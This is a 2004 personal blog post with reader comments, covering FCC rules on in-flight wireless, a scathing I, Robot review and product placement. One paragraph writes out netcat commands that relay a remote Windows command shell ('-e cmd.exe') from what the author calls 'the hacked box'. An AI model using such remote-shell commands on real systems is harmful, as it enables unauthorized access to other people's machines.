December 20, 2004

Nintendo DS (again), I Robot, and some stuff you'll probably never understand

     Wireless on airplanes? So anyway, the short(er) piece of this story is that the FCC decidedto allow wireless devices (Wireless-G and Wireless-B (I also assume Wireless-A, but I'm not sure about this) the only reason I noted this was because this does not include cell phones, those are other kinds of wireless signals) on airplanes. This means that one of my arguments about the Nintendo DS (the part about being banned on airplanes) is null and void, and therefore one chunk of my argument is gone, but the thing still stands on it's own, it has yet to collapse into an unrecognizably stupid argument.
     Anyway, I also watched I-Robot, and it turned out to blow. Yes, it sucked some serious ass. To quote the Isaac Asimov Home Page "The film is billed as 'suggested by Isaac Asimov's book', meaning that it incorporates some elements of the robot stories that appeared in Asimov's 1950 short story collection. The film started as a screenplay titled 'Hardwired' by screenwriter Jeff Vintar. Then, with the permission of Asimov's estate, the title was changed and the story modified to use some characters and plot elements from Asimov's stories. The final product clearly contains some of Asimov's ideas, but a story that belongs to Vintar and fellow screenwriter Akiva Goldsman." As you can tell, the web page suggests that the movie doesn't really reflect anything about the books except the title and the use of the three laws. Okay: I'm not going to say anymore (but he will).
     And now onto the section that, as the title of the entry suggests, you probably won't understand. This section is really just to vent that I can't find a simple and suitable way of piping data both to and from a netcat listener to a netcat projector. The command nc -l -p 10000 -n -vv|nc iptoconnectto 10001 -n -vv should take any incomming data on port 10000 and then pipe it to a listening computer on port 10001. What I wished it would do, is that if I piped... let's say a command prompt through it (nc ipofbuffer 10000 -n -vv -e cmd.exe) the output (as expected) is put onto the screen of the listener which is on computer iptoconnectto. The issue that I've found, is that once I have this remote prompt access, the pipe doesn't allow me to pass any data back to the prompt that I now have access to. So I can't send data from iptoconnectto to the hacked box. The pipe only seems to allow data to go one way. Bummer.

Posted by Kickmyassman at December 20, 2004 11:35 PM
Comments, you were, um, right. I don't understand at all. And, reviewing the title of the post I agree that I never will understand that. You lost me at "piping data."

Posted by: What? at December 21, 2004 04:36 PM

I kinda liked I Robot personally.

Posted by: Andrew at December 21, 2004 06:18 PM

     Ummm... I thought I may just point out to you Eric, the reason I say that you probably won't understand what I'm saying is so that you don't have to comment. But I guess it's still kinda reassuring to get any kind of comment...

Posted by: kit at December 21, 2004 09:57 PM

I ROBOT DID NOT SUCK! Granted, it had basically nothing to do with Isaac Asimov's series, other than the basic concept, but it still was an interesting concept(sort of) combined with good action, moderate to good character development, and some really funny scenes (Such as the one where will smith is running through the old robot storage facility being chased by a bunch of new robots, as the old robots jump on the new ones yelling "You are in danger! You are in danger!" Now come on, you have to admit that was funny. And there was a kind of a twist at the end, so overall i'd give it a B, B+ So basically, in short, you're wrong kit... WRONG WRONG WRONG!

Posted by: Benjamin at December 23, 2004 08:58 AM

     Ben, saying that something was funny for the wrong reason means that it blows. That scene was not meant to be funny, the fact that they failed to evoke the correct feeling shows that they failed at film making. The charater development was, in my opinion, pretty shitty. He hates robots because one saved him instead of another girl? That's like me saying: I hate you Ben for saving my life and not someone else's! The good twist was the tiny bit they based on Asimov's story. I'm not wrong, you just choose to enjoy movies for the wrong the reasons.
     And just so that you know, the main reason I despise this movie so much is not because the overall plot blows and has tons of holes in it, but because they blatantly allowed the advertisers to throw in tons of throw away lines. If you watch it again Ben: notice how many times they flash the Converse logo from Will Smith's shoes at you. Think about how out hard they went out of their way to show you that Audi logo on the front of his car in every scene he drove it. Note the ovaltine and Dos Equis advertisments in front of the bar. Sure, this kind of advertising is in every movie, but the advertising in this movie was so blatant and crappy and added throw away lines that it made the movie shit.

Posted by: kit at December 24, 2004 08:45 PM
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